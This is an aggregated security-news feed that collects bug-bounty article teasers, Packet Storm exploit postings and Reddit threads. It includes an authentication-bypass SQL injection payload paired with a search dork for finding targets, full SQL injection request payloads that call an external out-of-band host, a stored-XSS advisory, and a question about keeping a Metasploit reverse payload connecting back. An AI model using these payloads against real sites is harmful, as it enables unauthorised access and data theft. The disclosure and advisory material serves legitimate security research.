— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —Continue reading on Medium » (https://medium.com/@ramawijayas.techdr7/deserialization-of-untrusted-data-502-edf8a6bb7d4?source=rss------bug_bounty-5)

Even more resources to make you a better hacker
https://thexssrat.medium.com/even-more-resources-to-make-you-a-better-hacker-fbd997c33acd?source=rss------bug_bounty-5

Becoming a “hacker” can mean many different things to different people, so the resources you need to improve will depend on what type of…Continue reading on Medium » (https://thexssrat.medium.com/even-more-resources-to-make-you-a-better-hacker-fbd997c33acd?source=rss------bug_bounty-5)

Bypassing API Restrictions for Fun and Profit

Recently, I downloaded and started testing an application locally which provided dashboard access along with rest API endpoints for it’s…Continue reading on Medium »
Read more...

Exploit Collector
Material Dashboard 2 SQL Injection

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Material Dashboard version 2 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

SHA-256 | 8e3470e914d0f948912ad5bed599f01e55d99eb26c655914c5b63455027dfcc8

Download
====================================================================================================================================
| # Title : Material Dashboard 2 Auth by pass Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) |
| # Vendor : https://www.creative-tim.com/ |
| # Dork : "Material Dashboard 2 by Creative Tim" |
====================================================================================================================================
poc :

[+] Dorking İn Google Or Other Search Enggine

[+] Use Payload = user : 'or''='@gmail.com & pass : 'or''='

[+] http://127.0.0.1/kacatalystcom/

Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |
|
=======================================================================================================================================

Source:packetstormsecurity.com

Exploit Collector
101news By Mayuri K 1.0 SQL Injection

https://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png
101news By Mayuri K version 1.0 suffers from multiple remote SQL injection vulnerabilities.

SHA-256 | 0aa619446a08f427a388e4aed69d3b3979519cb92cca7f63e154b95937a4c4bf

Download
## Title: 101news-by-Mayuri-K-1.0 Multiple-SQLi
## Author: nu11secur1ty
## Date: 02.02.2023
## Vendor: https://mayurik.com/
## Software: https://mayurik.com/source-code/P4030/news-portal-project-in-php
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `comment` parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+'
was submitted in the comment parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed. This system is absolutely
UNPROTECTED!

STATUS: HIGH Vulnerability

[+]Payload:
```mysql
---
Parameter: comment (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
Payload: csrftoken=6606c0284475034686192a71b81d3e9360096c1bc0fa486d4a8636d582e2b0c5&name=IRSaszTW&email=YxpqSxQd@burpcollaborator.net&comment=167565'+(select
load_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+''
RLIKE (SELECT (CASE WHEN (1140=1140) THEN 0x313637353635+(select
load_file(0x5c5c5c5c316b6d376233693432716b70346d3269793572797068696f62666838357a796e7071646930626f302e6f6173746966792e636f6d5c5c627866))+''
ELSE 0x28 END)) AND 'RBgF'='RBgF&submit=

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: csrftoken=6606c0284475034686192a71b81d3e9360096c1bc0fa486d4a8636d582e2b0c5&name=IRSaszTW&email=YxpqSxQd@burpcollaborator.net&comment=167565'+(select
load_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+''
AND (SELECT 4135 FROM(SELECT COUNT(*),CONCAT(0x71766b6a71,(SELECT
(ELT(4135=4135,1))),0x7171627071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'iMBs'='iMBs&submit=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: csrftoken=6606c0284475034686192a71b81d3e9360096c1bc0fa486d4a8636d582e2b0c5&name=IRSaszTW&email=YxpqSxQd@burpcollaborator.net&comment=167565'+(select
load_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+''
AND (SELECT 1879 FROM (SELECT(SLEEP(3)))AQLB) AND 'asLq'='asLq&submit=
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/101news)

## Proof and Exploit:
[href](https://streamable.com/vrc7x8)

## Time spend:
01:00:00

Source:packetstormsecurity.com

Exploit Collector
WordPress Metform Elementor Contact Form Builder 3.1.2 Cross Site Scripting

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png WordPress Metform Elementor Contact Form Builder plugin versions 3.1.2 and below suffer from a persistent cross site scripting vulnerability.

SHA-256 | c049226eafcb4a203f2e5559ba9fda2836f1add53fb4cdf6aad29f235f957132Download Affected Plugin: Metform Elementor Contact Form Builder

Plugin Slug: metform

Affected Versions: <=

CVE ID: CVE-2023-0084

CVSS Score: 7.2 (High)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Researcher/s: Mohammed El Amin, Chemouri

Fully Patched Version: 3.2.0

The Metform Elementor Contact Form Builder plugin allows site builders to create highly functional contact forms. Unfortunately, vulnerable versions of the Metform plugin fail to escape submitted form entries when displaying them in the admin panel.

This meant that any site visitor could fill out a contact form with malicious JavaScript, and that the script would execute in the browser of any administrator viewing that form entry.

While sanitizing input may also have helped, escaping output is much more important for preventing Cross-Site Scripting as bypasses are far less common.

The patched version updated the format_form_data function to escape the output form data in order to address this issue.

An attacker able to execute JavaScript in the browser of an administrator can use it to take over a website via several methods, including by adding a new malicious administrator or injecting a backdoor into a plugin or theme on the site.

Unauthenticated Stored Cross-Site Scripting vulnerabilities are the most dangerous variant of Cross-Site Scripting for WordPress sites as they are much easier for attackers to automatically exploit en masse without needing an existing user account.

Timeline

January 4, 2023 - Mohammed Chemouri responsibly discloses the vulnerability to the plugin vendor and our Vulnerability Disclosure program.

January 8, 2023 - A patched version of the Metform plugin, 3.2.0, is made available.

February 3, 2023 - The Wordfence Threat Intelligence team discovers a potential bypass of the existing Cross-Site Scripting rule and releases an additional firewall rule to Wordfence Premium, Care, and Response sites.

March 5, 2023 - The firewall rule becomes available to Wordfence free users.

Conclusion

In today’s post we detailed an unauthenticated stored Cross-Site Scripting vulnerability in the Metform plugin discovered and responsibly disclosed by independent security researcher Mohammed Chemouri. The Wordfence firewall’s built-in Cross-Site Scripting protection should provide coverage for all Wordfence users including those using Wordfence free.

While we did find a potential bypass and deploy an additional rule to coverit, we have not seen this vulnerability exploited at a large scale in the wild, and have not seen any instances of the bypass being exploited. Nonetheless, we strongly recommend updating to the latest version of the Metform Elementor Contact Form Builder plugin, which is 3.2.1 at the time of this writing.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both of these products include hands-on support in case you need further assistance.

If you have any friends or colleagues who are using this plugin, please share this announcement with them and encourage them to update to the latest patched version of Metform Elementor Contact Form Builder as soon as possible.

If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence Community Edition leaderboard. Source:packetstormsecurity.com

Familiat Recon Tools for Pentesting and Bug Bounty
https://cyberw1ng.medium.com/familiat-recon-tools-for-pentesting-and-bug-bounty-b13dff19b2fa?source=rss------bug_bounty-5

10 Essential Tools used for Reconnaissance | Karthikeyan NagarajContinue reading on Medium » (https://cyberw1ng.medium.com/familiat-recon-tools-for-pentesting-and-bug-bounty-b13dff19b2fa?source=rss------bug_bounty-5)

Your own VPN with WireGuard (Raspberry Pi)

This guide will walk you through the process of setting up a VPN with WireGuard. WireGuard is a modern and secure VPN that is very easy to…Continue reading on InfoSec Write-ups »
Read more...

Burp Suite Android Emulator

Guide to setup Burp Suite on your Android EmulatorContinue reading on InfoSec Write-ups »
Read more...

hacking: security in practice
A Detailed Analysis of a New Stealer called Stealerium

https://external-preview.redd.it/v9QRvCCkJqd_cfmgx1LCBAZDFYYSn_1eyoDmX8_XmGA.jpg?width=320&crop=smart&auto=webp&s=5ac42db3ee2ae46ae8fcaf38f5311b09a9522367 submitted by /u/CyberMasterV
[link] [comments]

hacking: security in practice
Get same IP address for Metasploit payload to connect on...

Topic - Metasploit Payload not able to connect back to me cause of changed IP address.....

I don't know if this is possible or not and if I am making sense or not, but is there any way to get the same IP address every time for a payload to connect on.

I installed Metasploit on Google Cloud Console. We all know how we can use a Payload over WAN, and I did the same I used ngrok to make my Payload connect back to me over WAN(wide area network) but there is one problem, it is that everytime I launch Google cloud console it has a different IP address and that's why my payload is not able to connect back to me.

In order to make my Payload connect back to me I have to keep my Google Cloud Console machine online or open for the whole time and once I close it or restart it the IP changes and I don't get the connection back, Is there any solution to this problem.

I also don't get the same IP on ngrok too.

I guarantee that I don't want to use any of this information for any bad purposes, these are only for my Presentation at my college (to impress someone)...

submitted by /u/Disastrous-Let-9548
[link] [comments]